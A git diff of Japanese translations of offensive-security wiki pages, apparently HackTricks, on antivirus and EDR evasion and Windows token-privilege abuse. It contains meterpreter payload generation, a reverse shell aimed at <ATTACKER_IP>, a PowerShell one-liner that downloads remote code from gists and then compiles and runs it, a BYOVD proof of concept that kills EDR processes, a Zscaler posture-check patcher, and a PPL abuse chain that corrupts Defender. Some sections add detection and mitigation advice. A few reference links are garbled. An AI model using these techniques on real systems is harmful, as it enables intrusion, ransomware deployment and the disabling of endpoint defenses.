git clone https://github.com/GreatSCT/GreatSCT.git
|
||||
cd GreatSCT/setup/
|
||||
@ -533,23 +536,23 @@ sel lport 4444
|
||||
generate #payload is the default name
|
||||
#This will generate a meterpreter xml and a rcc file for msfconsole
|
||||
```
|
||||
次に、`msfconsole -r file.rc` で **lister を起動** し、次のコマンドで **xml payload** を **実行** します:
|
||||
次に `msfconsole -r file.rc` で **lister を起動** し、以下で **xml payload** を **実行** します:
|
||||
```
|
||||
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml
|
||||
```
|
||||
**現在の defender はプロセスを非常に速く終了させます。**
|
||||
**現在の Defender はプロセスを非常に速く終了させます。**
|
||||
|
||||
### 自分で reverse shell をコンパイルする
|
||||
### 自前の reverse shell をコンパイルする
|
||||
|
||||
https://medium.com/@Bank_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15
|
||||
|
||||
#### 最初の C# Revershell
|
||||
|
||||
次のようにコンパイルします:
|
||||
次のコマンドでコンパイルします:
|
||||
```
|
||||
c:\windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /t:exe /out:back2.exe C:\Users\Public\Documents\Back1.cs.txt
|
||||
```
|
||||
次と一緒に使う:
|
||||
以下と併用してください:
|
||||
```
|
||||
back.exe <ATTACKER_IP> <PORT>
|
||||
```
|
||||
@ -626,7 +629,7 @@ catch (Exception err) { }
|
||||
}
|
||||
}
|
||||
```
|
||||
### C# using コンパイラ
|
||||
### C# コンパイラを使用
|
||||
```
|
||||
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt.txt REV.shell.txt
|
||||
```
|
||||
@ -634,7 +637,7 @@ C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe RE
|
||||
|
||||
[REV.shell: https://gist.github.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639](https://gist.github.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639)
|
||||
|
||||
自動ダウンロードと実行:
|
||||
自動ダウンロードと実行:
|
||||
```csharp
|
||||
64bit:
|
||||
powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell
|
||||
@ -646,7 +649,7 @@ powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.g
|
||||
https://gist.github.com/BankSecurity/469ac5f9944ed1b8c39129dc0037bb8f
|
||||
{{#endref}}
|
||||
|
||||
C# obfuscators 一覧: [https://github.com/NotPrab/.NET-Obfuscator](https://github.com/NotPrab/.NET-Obfuscator)
|
||||
C# の難読化ツール一覧: [https://github.com/NotPrab/.NET-Obfuscator](https://github.com/NotPrab/.NET-Obfuscator)
|
||||
|
||||
### C++
|
||||
```
|
||||
@ -654,14 +657,14 @@ sudo apt-get install mingw-w64
|
||||
|
||||
i686-w64-mingw32-g++ prometheus.cpp -o prometheus.exe -lws2_32 -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc
|
||||
```
|
||||
- [https://github.com/paranoidninja/ScriptDotSh-MalwareDevelopment/blob/master/prometheus.cpp](https://github.com/paranoidninja/ScriptDotSh-MalwareDevelopment/blob/master/prometheus.cpp)
|
||||
- [https://github.com/paranoidninja/ScriptDotSh-MalwareDevelopment/blob/master/prometheus.cpp](https://github.com/paranoidninja/ScriptDotSh-MalwareDevelopment/blob/master/promheus.cpp)
|
||||
- [https://astr0baby.wordpress.com/2013/10/17/customizing-custom-meterpreter-loader/](https://astr0baby.wordpress.com/2013/10/17/customizing-custom-meterpreter-loader/)
|
||||
- [https://www.blackhat.com/docs/us-16/materials/us-16-Mittal-AMSI-How-Windows-10-Plans-To-Stop-Script-Based-Attacks-And-How-Well-It-Does-It.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Mittal-AMSI-How-Windows-10-Plans-To-Stop-Script-Based-Attacks-And-How-Well-It-Does-It.pdf)
|
||||
- [https://github.com/l0ss/Grouper2](ps://github.com/l0ss/Group)
|
||||
- [http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html](http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html)
|
||||
- [http://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/](http://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/)
|
||||
|
||||
### Pythonを使ったビルドインジェクターの例:
|
||||
### python を使った build injector の例:
|
||||
|
||||
- [https://github.com/cocomelonc/peekaboo](https://github.com/cocomelonc/peekaboo)
|
||||
|
||||
@ -690,30 +693,30 @@ https://github.com/TheWover/donut
|
||||
# Vulcan
|
||||
https://github.com/praetorian-code/vulcan
|
||||
```
|
||||
### さらに
|
||||
### More
|
||||
|
||||
- [https://github.com/Seabreg/Xeexe-TopAntivirusEvasion](https://github.com/Seabreg/Xeexe-TopAntivirusEvasion)
|
||||
|
||||
## Bring Your Own Vulnerable Driver (BYOVD) – カーネル空間から AV/EDR を無効化する
|
||||
## Bring Your Own Vulnerable Driver (BYOVD) – カーネル空間からの AV/EDR の停止
|
||||
|
||||
Storm-2603 は、ransomware を展開する前にエンドポイント保護を無効化するために、**Antivirus Terminator** という小さなコンソールユーティリティを利用した。ツールは **独自の脆弱だが *signed* のドライバ** を持ち込み、それを悪用して Protected-Process-Light (PPL) の AV サービスでさえブロックできない特権カーネル操作を実行する。
|
||||
Storm-2603 は小さなコンソールユーティリティである **Antivirus Terminator** を利用して、ランサムウェアを展開する前にエンドポイント保護を無効化しました。ツールは **独自の脆弱だが*署名済み*のドライバ** を持ち込み、それを悪用して Protected-Process-Light (PPL) な AV サービスでさえブロックできない特権カーネル操作を発行します。
|
||||
|
||||
Key take-aways
|
||||
1. **Signed driver**: ディスクに配置されたファイルは `ServiceMouse.sys` だが、実体は Antiy Labs の “System In-Depth Analysis Toolkit” に含まれる正規に署名されたドライバ `AToolsKrnl64.sys` である。ドライバが有効な Microsoft の署名を持つため、Driver-Signature-Enforcement (DSE) が有効でもロードされる。
|
||||
主なポイント
|
||||
1. **Signed driver**: ディスクに配置されるファイルは `ServiceMouse.sys` ですが、実体は Antiy Labs の “System In-Depth Analysis Toolkit” に含まれる正規署名済みドライバ `AToolsKrnl64.sys` です。ドライバが有効な Microsoft 署名を持つため、Driver-Signature-Enforcement (DSE) が有効でもロードされます。
|
||||
2. **Service installation**:
|
||||
```powershell
|
||||
sc create ServiceMouse type= kernel binPath= "C:\Windows\System32\drivers\ServiceMouse.sys"
|
||||
sc start ServiceMouse
|
||||
```
|
||||
最初の行はドライバをカーネルサービスとして登録し、2 行目はそれを起動して `\\.\ServiceMouse` がユーザランドからアクセス可能になるようにする。
|
||||
1 行目はドライバを **カーネルサービス** として登録し、2 行目はそれを開始して `\\.\ServiceMouse` がユーザランドからアクセス可能になるようにします。
|
||||
3. **IOCTLs exposed by the driver**
|
||||
| IOCTL code | 機能 |
|
||||
|-----------:|-----------------------------------------|
|
||||
| `0x99000050` | PID で任意のプロセスを終了させる(Defender/EDR サービスを終了するために使用) |
|
||||
| `0x990000D0` | ディスク上の任意ファイルを削除する |
|
||||
| `0x990001D0` | ドライバをアンロードしてサービスを削除する |
|
||||
| `0x99000050` | PID による任意プロセスの終了(Defender/EDR サービスを停止するために使用) |
|
||||
| `0x990000D0` | ディスク上の任意ファイルを削除 |
|
||||
| `0x990001D0` | ドライバをアンロードしサービスを削除 |
|
||||
|
||||
Minimal C proof-of-concept:
|
||||
最小限の C による概念実証:
|
||||
```c
|
||||
#include <windows.h>
|
||||
|
||||
@ -725,30 +728,30 @@ CloseHandle(hDrv);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
4. **なぜ動くのか**: BYOVD はユーザモードの保護を完全に回避する。カーネルで実行されるコードは *protected* プロセスを開いて終了させたり、PPL/PP、ELAM、その他のハードニング機能に関係なくカーネルオブジェクトを改ざんしたりできる。
|
||||
4. **Why it works**: BYOVD はユーザモードの保護を完全に回避します。カーネルで実行されるコードは、Protected なプロセスを開いたり終了させたり、PPL/PP、ELAM や他のハードニング機能に関係なくカーネルオブジェクトを改変できます。
|
||||
|
||||
Detection / Mitigation
|
||||
• Microsoft の脆弱ドライバブロックリスト(`HVCI`, `Smart App Control`)を有効にして、Windows が `AToolsKrnl64.sys` をロードしないようにする。
|
||||
• 新しいカーネルサービスの作成を監視し、ドライバがワールド書き込み可能なディレクトリからロードされた場合や許可リストに存在しない場合にアラートを出す。
|
||||
• カスタムデバイスオブジェクトへのユーザモードハンドル取得と、それに続く疑わしい `DeviceIoControl` 呼び出しを監視する。
|
||||
検出 / 対策
|
||||
• Microsoft の脆弱ドライバブロックリスト(`HVCI`、`Smart App Control`)を有効にし、Windows が `AToolsKrnl64.sys` をロードしないようにする。
|
||||
• 新しい *kernel* サービスの作成を監視し、ドライバがワールドライト可能なディレクトリからロードされた場合や許可リストに存在しない場合にアラートを出す。
|
||||
• カスタムデバイスオブジェクトへのユーザモードハンドル作成と、その後に続く疑わしい `DeviceIoControl` 呼び出しを監視する。
|
||||
|
||||
### ディスク上のバイナリパッチによる Zscaler Client Connector のポスチャチェック回避
|
||||
### On-Disk バイナリパッチによる Zscaler Client Connector のポスチャチェック回避
|
||||
|
||||
Zscaler の **Client Connector** はデバイスポスチャルールをローカルで適用し、結果を他のコンポーネントとやり取りするために Windows RPC に依存している。次の 2 つの設計上の弱点により完全なバイパスが可能になる:
|
||||
Zscaler の **Client Connector** はデバイスポスチャルールをローカルで適用し、結果を他のコンポーネントと通信するために Windows RPC を利用します。全回避を可能にする二つの設計上の弱点があります:
|
||||
|
||||
1. ポスチャ評価は **完全にクライアント側** で行われる(サーバへは真偽値が送信される)。
|
||||
2. 内部の RPC エンドポイントは接続してくる実行ファイルが **Zscaler によって署名されている** こと(`WinVerifyTrust` による)だけを検証する。
|
||||
1. ポスチャ評価は **完全にクライアント側で実行される**(サーバには boolean が送られるだけ)。
|
||||
2. 内部 RPC エンドポイントは接続元実行ファイルが **Zscaler によって署名されている** ことだけを検証する(`WinVerifyTrust` による)。
|
||||
|
||||
ディスク上の 4 つの署名済みバイナリを **パッチする** ことで、両方の仕組みを無効化できる:
|
||||
ディスク上の署名済みバイナリを 4 つパッチすることで、両方のメカニズムを無効化できます:
|
||||
|
||||
| Binary | Original logic patched | Result |
|
||||
|--------|------------------------|---------|
|
||||
| `ZSATrayManager.exe` | `devicePostureCheck() → return 0/1` | 常に `1` を返すため、すべてのチェックが準拠扱いになる |
|
||||
| `ZSAService.exe` | Indirect call to `WinVerifyTrust` | NOP 化 ⇒ 任意の(未署名の)プロセスでも RPC パイプにバインドできるようになる |
|
||||
| `ZSATrayHelper.dll` | `verifyZSAServiceFileSignature()` | `mov eax,1 ; ret` に置き換えられる |
|
||||
| `ZSATunnel.exe` | Integrity checks on the tunnel | 整合性チェックを短絡させる |
|
||||
| `ZSATrayManager.exe` | `devicePostureCheck() → return 0/1` | 常に `1` を返し、すべてのチェックが準拠となる |
|
||||
| `ZSAService.exe` | `WinVerifyTrust` への間接呼び出し | NOP 化 ⇒ 任意の(未署名の)プロセスでも RPC パイプにバインド可能 |
|
||||
| `ZSATrayHelper.dll` | `verifyZSAServiceFileSignature()` | `mov eax,1 ; ret` に置換 |
|
||||
| `ZSATunnel.exe` | トンネルの整合性チェック | 短絡化される |
|
||||
|
||||
Minimal patcher excerpt:
|
||||
最小限のパッチャー抜粋:
|
||||
```python
|
||||
pattern = bytes.fromhex("44 89 AC 24 80 02 00 00")
|
||||
replacement = bytes.fromhex("C6 84 24 80 02 00 00 01") # force result = 1
|
||||
@ -762,22 +765,22 @@ else:
|
||||
f.seek(off)
|
||||
f.write(replacement)
|
||||
```
|
||||
元のファイルを置き換え、サービススタックを再起動すると:
|
||||
元のファイルを置き換え、サービススタックを再起動した後:
|
||||
|
||||
* **All** posture checks が **green/compliant** と表示される。
|
||||
* 署名されていない、または改変されたバイナリが named-pipe RPC エンドポイント(例:`\\RPC Control\\ZSATrayManager_talk_to_me`)を開くことができる。
|
||||
* 侵害されたホストは、Zscaler ポリシーで定義された内部ネットワークへ無制限にアクセスできるようになる。
|
||||
* **All** posture checks は **green/compliant** と表示されます。
|
||||
* 署名されていない、または改変されたバイナリが named-pipe RPC エンドポイント(例: `\\RPC Control\\ZSATrayManager_talk_to_me`)を開くことができます。
|
||||
* 攻撃されたホストは、Zscaler ポリシーで定義された内部ネットワークに制限なくアクセスできるようになります。
|
||||
|
||||
このケーススタディは、純粋にクライアント側の信頼判断と単純な署名チェックが数バイトのパッチで破られることを示している。
|
||||
このケーススタディは、純粋にクライアント側の信頼判断と単純な署名チェックが、数バイトのパッチでどのように破られるかを示しています。
|
||||
|
||||
## Protected Process Light (PPL) を悪用して LOLBINs により AV/EDR を改ざんする
|
||||
## Protected Process Light (PPL) を悪用して LOLBINs で AV/EDR を改ざんする
|
||||
|
||||
Protected Process Light (PPL) は署名者/レベルの階層を強制し、同等以上の権限を持つ保護プロセスだけが相互に改ざんできるようにする。攻撃的には、正当に PPL 対応バイナリを起動し引数を制御できれば、ログ出力などの無害な機能を、AV/EDR が使用する保護されたディレクトリに対する制限付きの、PPL によって裏付けられた書き込みプリミティブに変換できる。
|
||||
Protected Process Light (PPL) は署名者/レベルの階層を強制するため、同等かそれ以上の保護レベルのプロセスだけが相互に改ざんできます。攻撃的には、正当に PPL 対応バイナリを起動しその引数を制御できるなら、無害な機能(例: ロギング)を AV/EDR が使用する保護されたディレクトリに対する制約付きの、PPL 支援の書き込みプリミティブに変換できます。
|
||||
|
||||
プロセスが PPL として動作する条件
|
||||
- ターゲットの EXE(およびロードされた DLL)は PPL 対応の EKU で署名されている必要がある。
|
||||
- プロセスは CreateProcess を使い、フラグ `EXTENDED_STARTUPINFO_PRESENT | CREATE_PROTECTED_PROCESS` で作成されなければならない。
|
||||
- バイナリの署名者に一致する互換性のある保護レベルが要求される(例:アンチマルウェア署名者には `PROTECTION_LEVEL_ANTIMALWARE_LIGHT`、Windows 署名者には `PROTECTION_LEVEL_WINDOWS`)。不適切なレベルだと作成時に失敗する。
|
||||
プロセスが PPL として実行される条件
|
||||
- 対象の EXE(およびロードされる DLLs)は PPL 対応の EKU で署名されている必要があります。
|
||||
- プロセスは CreateProcess で次のフラグを使って作成される必要があります: `EXTENDED_STARTUPINFO_PRESENT | CREATE_PROTECTED_PROCESS`。
|
||||
- バイナリの署名者に一致する互換性のある保護レベルを要求する必要があります(例: `PROTECTION_LEVEL_ANTIMALWARE_LIGHT` はアンチマルウェア署名者向け、`PROTECTION_LEVEL_WINDOWS` は Windows 署名者向け)。誤ったレベルだと作成時に失敗します。
|
||||
|
||||
See also a broader intro to PP/PPL and LSASS protection here:
|
||||
|
||||
@ -785,8 +788,8 @@ See also a broader intro to PP/PPL and LSASS protection here:
|
||||
stealing-credentials/credentials-protections.md
|
||||
{{#endref}}
|
||||
|
||||
Launcher tooling
|
||||
- オープンソースのヘルパー: CreateProcessAsPPL(保護レベルを選択し、引数をターゲット EXE に転送する):
|
||||
ランチャー用ツール
|
||||
- オープンソースのヘルパー: CreateProcessAsPPL(保護レベルを選択し、引数をターゲット EXE に転送します):
|
||||
- [https://github.com/2x7EQ13/CreateProcessAsPPL](https://github.com/2x7EQ13/CreateProcessAsPPL)
|
||||
- 使用パターン:
|
||||
```text
|
||||
@ -796,20 +799,20 @@ CreateProcessAsPPL.exe 1 C:\Windows\System32\ClipUp.exe <args>
|
||||
# example: spawn an anti-malware signed component at level 3
|
||||
CreateProcessAsPPL.exe 3 <anti-malware-signed-exe> <args>
|
||||
```
|
||||
LOLBIN プリミティブ: ClipUp.exe
|
||||
- 署名済みのシステムバイナリ `C:\Windows\System32\ClipUp.exe` は自己生成し、呼び出し元が指定したパスへログファイルを書き込むためのパラメータを受け付けます。
|
||||
- PPLプロセスとして起動すると、ファイル書き込みはPPLの保護下で行われます。
|
||||
- ClipUpはスペースを含むパスを解析できません。通常保護された場所を指すには8.3短縮パスを使用してください。
|
||||
LOLBIN primitive: ClipUp.exe
|
||||
- サインされたシステムバイナリ `C:\Windows\System32\ClipUp.exe` は自己生成し、呼び出し元が指定したパスにログファイルを書き込むためのパラメータを受け取る。
|
||||
- PPLプロセスとして起動された場合、ファイル書き込みはPPLで保護された状態で行われる。
|
||||
- ClipUpは空白を含むパスを解析できないため、通常保護された場所を指すには8.3短縮パスを使用する。
|
||||
|
||||
8.3短縮パスのヘルパー
|
||||
- 短縮名の一覧: 各親ディレクトリで `dir /x` を実行。
|
||||
8.3 short path helpers
|
||||
- 短縮名を一覧表示: `dir /x` を各親ディレクトリで実行。
|
||||
- cmdで短縮パスを導出: `for %A in ("C:\ProgramData\Microsoft\Windows Defender\Platform") do @echo %~sA`
|
||||
|
||||
悪用チェーン(概要)
|
||||
1) 起動できるランチャー(例: CreateProcessAsPPL)を使い、`CREATE_PROTECTED_PROCESS` を指定して PPL対応のLOLBIN(ClipUp)を起動します。
|
||||
2) ClipUpのログパス引数を渡して、保護されたAVディレクトリ(例: Defender Platform)にファイル作成を強制します。必要に応じて8.3短縮名を使用してください。
|
||||
3) ターゲットのバイナリが通常AVによって実行中に開かれて/ロックされている場合(例: MsMpEng.exe)、さらに早く確実に実行される自動起動サービスをインストールして、AVが起動する前のブート時に書き込みをスケジュールします。ブート順序は Process Monitor(boot logging)で検証してください。
|
||||
4) 再起動時、PPL保護された書き込みがAVがバイナリをロックする前に行われ、ターゲットファイルを破損させて起動を妨げます。
|
||||
Abuse chain (abstract)
|
||||
1) ランチャー(例: CreateProcessAsPPL)を使って `CREATE_PROTECTED_PROCESS` で PPL対応のLOLBIN(ClipUp)を起動する。
|
||||
2) ClipUp のログパス引数を渡して、保護されたAVディレクトリ(例: Defender Platform)にファイル作成を強制する。必要なら8.3短縮名を使う。
|
||||
3) 対象のバイナリが通常実行中にAVによりオープン/ロックされている場合(例: MsMpEng.exe)、AVより先に確実に実行される自動起動サービスをインストールしてブート時に書き込みをスケジュールする。ブート順序は Process Monitor(boot logging)で検証する。
|
||||
4) 再起動時に、PPLで保護された書き込みがAVがバイナリをロックする前に行われ、対象ファイルが破損して起動不能になる。
|
||||
|
||||
Example invocation (paths redacted/shortened for safety):
|
||||
```text
|
||||
@ -817,30 +820,30 @@ Example invocation (paths redacted/shortened for safety):
|
||||
CreateProcessAsPPL.exe 1 C:\Windows\System32\ClipUp.exe -ppl C:\PROGRA~3\MICROS~1\WINDOW~1\Platform\<ver>\samplew.dll
|
||||
```
|
||||
注意事項と制約
|
||||
- ClipUp が書き込む内容は配置以外で制御できません;このプリミティブは精密なコンテンツ注入よりも改ざんに適しています。
|
||||
- サービスのインストール/起動にはローカル管理者/SYSTEM 権限と再起動の余地が必要です。
|
||||
- タイミングが重要:対象が開かれていない必要があり、ブート時実行はファイルロックを回避します。
|
||||
- You cannot control the contents ClipUp writes beyond placement; the primitive is suited to corruption rather than precise content injection.
|
||||
- Requires local admin/SYSTEM to install/start a service and a reboot window.
|
||||
- タイミングが重要:対象は開かれていてはいけません。起動時に実行することでファイルロックを回避できます。
|
||||
|
||||
検知
|
||||
- 特に非標準のランチャーを親としている場合など、異常な引数で起動された `ClipUp.exe` のプロセス生成(ブート前後)を監視する。
|
||||
- 自動起動に設定された疑わしいバイナリの新規サービス、かつ一貫して Defender/AV より先に起動しているもの。Defender の起動失敗に先立つサービス作成/変更を調査する。
|
||||
- Defender のバイナリや Platform ディレクトリに対するファイル整合性監視;protected-process フラグを持つプロセスによる予期しないファイル作成/変更を確認する。
|
||||
- ETW/EDR テレメトリ:`CREATE_PROTECTED_PROCESS` で作成されたプロセスや、非 AV バイナリによる異常な PPL レベルの使用を探す。
|
||||
検出
|
||||
- 起動時付近において、非標準のランチャによって親付けされるなど、異常な引数で `ClipUp.exe` がプロセス生成される点に注意。
|
||||
- 疑わしいバイナリを auto-start に設定する新しいサービスや、常に Defender/AV より先に起動するサービス。Defender の起動失敗に先立つサービスの作成/変更を調査すること。
|
||||
- Defender バイナリや Platform ディレクトリに対するファイル整合性監視;protected-process フラグを持つプロセスによる予期しないファイル作成/変更を確認する。
|
||||
- ETW/EDR テレメトリ:`CREATE_PROTECTED_PROCESS` で生成されたプロセスや、非-AV バイナリによる異常な PPL レベルの使用を監視する。
|
||||
|
||||
緩和策
|
||||
- WDAC/Code Integrity:どの署名済みバイナリがどの親の下で PPL として実行できるかを制限する;正当なコンテキスト外での ClipUp 呼び出しをブロックする。
|
||||
- サービス管理:自動起動サービスの作成/変更を制限し、起動順序の改変を監視する。
|
||||
- Defender の tamper protection と early-launch protections が有効になっていることを確認する;バイナリ破損を示す起動エラーを調査する。
|
||||
- 環境と互換性がある場合、セキュリティツールをホストするボリュームで 8.3 ショートネーム生成を無効にすることを検討する(十分にテストすること)。
|
||||
- WDAC/Code Integrity:どの署名済みバイナリが PPL として、どの親プロセスの下で実行可能かを制限する。正当なコンテキスト外での ClipUp の呼び出しをブロックする。
|
||||
- サービス運用:auto-start サービスの作成/変更を制限し、起動順操作を監視する。
|
||||
- Defender の tamper protection と early-launch protections が有効になっていることを確認し、バイナリ破損を示す起動エラーを調査する。
|
||||
- セキュリティツールをホストするボリュームで環境の互換性がある場合、8.3 short-name generation を無効化することを検討する(十分にテストすること)。
|
||||
|
||||
References for PPL and tooling
|
||||
PPL とツールの参考
|
||||
- Microsoft Protected Processes overview: https://learn.microsoft.com/windows/win32/procthread/protected-processes
|
||||
- EKU reference: https://learn.microsoft.com/openspecs/windows_protocols/ms-ppsec/651a90f3-e1f5-4087-8503-40d804429a88
|
||||
- Procmon boot logging (ordering validation): https://learn.microsoft.com/sysinternals/downloads/procmon
|
||||
- CreateProcessAsPPL launcher: https://github.com/2x7EQ13/CreateProcessAsPPL
|
||||
- Technique writeup (ClipUp + PPL + boot-order tamper): https://www.zerosalarium.com/2025/08/countering-edrs-with-backing-of-ppl-protection.html
|
||||
|
||||
## References
|
||||
## 参考文献
|
||||
|
||||
- [Unit42 – New Infection Chain and ConfuserEx-Based Obfuscation for DarkCloud Stealer](https://unit42.paloaltonetworks.com/new-darkcloud-stealer-infection-chain/)
|
||||
- [Synacktiv – Should you trust your zero trust? Bypassing Zscaler posture checks](https://www.synacktiv.com/en/publications/should-you-trust-your-zero-trust-bypassing-zscaler-posture-checks.html)
|
||||
|
@ -1,180 +0,0 @@
|
||||
# トークンの悪用
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## トークン
|
||||
|
||||
もし**Windows Access Tokensが何か分からない場合**は、続ける前にこのページを読んでください:
|
||||
|
||||
{{#ref}}
|
||||
../access-tokens.md
|
||||
{{#endref}}
|
||||
|
||||
**既に持っているトークンを悪用して特権を昇格できるかもしれません**
|
||||
|
||||
### SeImpersonatePrivilege
|
||||
|
||||
これは、ハンドルを取得できる限り、任意のトークンの偽装(ただし作成は不可)を許可するプロセスが保持する特権です。特権トークンは、Windowsサービス(DCOM)からNTLM認証を行うように誘導することで取得でき、その後、SYSTEM特権でプロセスを実行することが可能になります。この脆弱性は、[juicy-potato](https://github.com/ohpe/juicy-potato)、[RogueWinRM](https://github.com/antonioCoco/RogueWinRM)(winrmが無効である必要があります)、[SweetPotato](https://github.com/CCob/SweetPotato)、[EfsPotato](https://github.com/zcgonvh/EfsPotato)、[DCOMPotato](https://github.com/zcgonvh/DCOMPotato)、および[PrintSpoofer](https://github.com/itm4n/PrintSpoofer)などのさまざまなツールを使用して悪用できます。
|
||||
|
||||
{{#ref}}
|
||||
../roguepotato-and-printspoofer.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
../juicypotato.md
|
||||
{{#endref}}
|
||||
|
||||
### SeAssignPrimaryPrivilege
|
||||
|
||||
これは**SeImpersonatePrivilege**に非常に似ており、特権トークンを取得するために**同じ方法**を使用します。\
|
||||
この特権は、**新しい/一時停止中のプロセスにプライマリトークンを割り当てる**ことを許可します。特権の偽装トークンを使用してプライマリトークンを派生させることができます(DuplicateTokenEx)。\
|
||||
このトークンを使用して、'CreateProcessAsUser'で**新しいプロセス**を作成するか、一時停止したプロセスを作成して**トークンを設定**できます(一般的に、実行中のプロセスのプライマリトークンを変更することはできません)。
|
||||
|
||||
### SeTcbPrivilege
|
||||
|
||||
このトークンが有効になっている場合、**KERB_S4U_LOGON**を使用して、資格情報を知らなくても他の任意のユーザーの**偽装トークン**を取得でき、トークンに**任意のグループ**(管理者)を追加し、トークンの**整合性レベル**を「**中**」に設定し、このトークンを**現在のスレッド**に割り当てることができます(SetThreadToken)。
|
||||
|
||||
### SeBackupPrivilege
|
||||
|
||||
この特権により、システムは任意のファイルに**すべての読み取りアクセス**制御を付与します(読み取り操作に限定)。これは、レジストリからローカル管理者アカウントのパスワードハッシュを**読み取る**ために利用され、その後、"**psexec**"や"**wmiexec**"などのツールをハッシュと共に使用できます(Pass-the-Hash技術)。ただし、この技術は、ローカル管理者アカウントが無効になっている場合や、リモート接続するローカル管理者から管理権限を削除するポリシーがある場合に失敗します。\
|
||||
この特権を**悪用する**ことができます:
|
||||
|
||||
- [https://github.com/Hackplayers/PsCabesha-tools/blob/master/Privesc/Acl-FullControl.ps1](https://github.com/Hackplayers/PsCabesha-tools/blob/master/Privesc/Acl-FullControl.ps1)
|
||||
- [https://github.com/giuliano108/SeBackupPrivilege/tree/master/SeBackupPrivilegeCmdLets/bin/Debug](https://github.com/giuliano108/SeBackupPrivilege/tree/master/SeBackupPrivilegeCmdLets/bin/Debug)
|
||||
- [https://www.youtube.com/watch?v=IfCysW0Od8w\&t=2610\&ab_channel=IppSec](https://www.youtube.com/watch?v=IfCysW0Od8w&t=2610&ab_channel=IppSec)の**IppSec**をフォローする
|
||||
- または、以下のセクションの**バックアップオペレーターによる特権の昇格**で説明されているように:
|
||||
|
||||
{{#ref}}
|
||||
../../active-directory-methodology/privileged-groups-and-token-privileges.md
|
||||
{{#endref}}
|
||||
|
||||
### SeRestorePrivilege
|
||||
|
||||
この特権は、ファイルのアクセス制御リスト(ACL)に関係なく、任意のシステムファイルへの**書き込みアクセス**を提供します。これにより、サービスの**変更**、DLLハイジャックの実行、さまざまな他の技術の中でImage File Execution Optionsを介して**デバッガー**を設定するなど、特権昇格のための多くの可能性が開かれます。
|
||||
|
||||
### SeCreateTokenPrivilege
|
||||
|
||||
SeCreateTokenPrivilegeは強力な権限であり、特にユーザーがトークンを偽装する能力を持っている場合に有用ですが、SeImpersonatePrivilegeがない場合にも役立ちます。この能力は、同じユーザーを表すトークンを偽装する能力に依存し、その整合性レベルが現在のプロセスの整合性レベルを超えないことが条件です。
|
||||
|
||||
**重要なポイント:**
|
||||
|
||||
- **SeImpersonatePrivilegeなしの偽装:** 特定の条件下でトークンを偽装することで、EoPのためにSeCreateTokenPrivilegeを利用することが可能です。
|
||||
- **トークン偽装の条件:** 成功する偽装には、ターゲットトークンが同じユーザーに属し、整合性レベルが偽装を試みるプロセスの整合性レベル以下である必要があります。
|
||||
- **偽装トークンの作成と変更:** ユーザーは偽装トークンを作成し、特権グループのSID(セキュリティ識別子)を追加することで強化できます。
|
||||
|
||||
### SeLoadDriverPrivilege
|
||||
|
||||
この特権は、特定の値を持つレジストリエントリを作成することで**デバイスドライバをロードおよびアンロード**することを許可します。`HKLM`(HKEY_LOCAL_MACHINE)への直接書き込みアクセスは制限されているため、代わりに`HKCU`(HKEY_CURRENT_USER)を使用する必要があります。ただし、ドライバ構成のために`HKCU`をカーネルに認識させるには、特定のパスに従う必要があります。
|
||||
|
||||
このパスは`\Registry\User\<RID>\System\CurrentControlSet\Services\DriverName`であり、`<RID>`は現在のユーザーの相対識別子です。`HKCU`内でこの全パスを作成し、2つの値を設定する必要があります:
|
||||
|
||||
- `ImagePath`、これは実行されるバイナリへのパスです
|
||||
- `Type`、値は`SERVICE_KERNEL_DRIVER`(`0x00000001`)です。
|
||||
|
||||
**従うべき手順:**
|
||||
|
||||
1. 制限された書き込みアクセスのために`HKLM`の代わりに`HKCU`にアクセスします。
|
||||
2. `HKCU`内に`\Registry\User\<RID>\System\CurrentControlSet\Services\DriverName`のパスを作成します。ここで`<RID>`は現在のユーザーの相対識別子を表します。
|
||||
3. `ImagePath`をバイナリの実行パスに設定します。
|
||||
4. `Type`を`SERVICE_KERNEL_DRIVER`(`0x00000001`)として割り当てます。
|
||||
```python
|
||||
# Example Python code to set the registry values
|
||||
import winreg as reg
|
||||
|
||||
# Define the path and values
|
||||
path = r'Software\YourPath\System\CurrentControlSet\Services\DriverName' # Adjust 'YourPath' as needed
|
||||
key = reg.OpenKey(reg.HKEY_CURRENT_USER, path, 0, reg.KEY_WRITE)
|
||||
reg.SetValueEx(key, "ImagePath", 0, reg.REG_SZ, "path_to_binary")
|
||||
reg.SetValueEx(key, "Type", 0, reg.REG_DWORD, 0x00000001)
|
||||
reg.CloseKey(key)
|
||||
```
|
||||
より多くの方法でこの特権を悪用することができます [https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges#seloaddriverprivilege](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges#seloaddriverprivilege)
|
||||
|
||||
### SeTakeOwnershipPrivilege
|
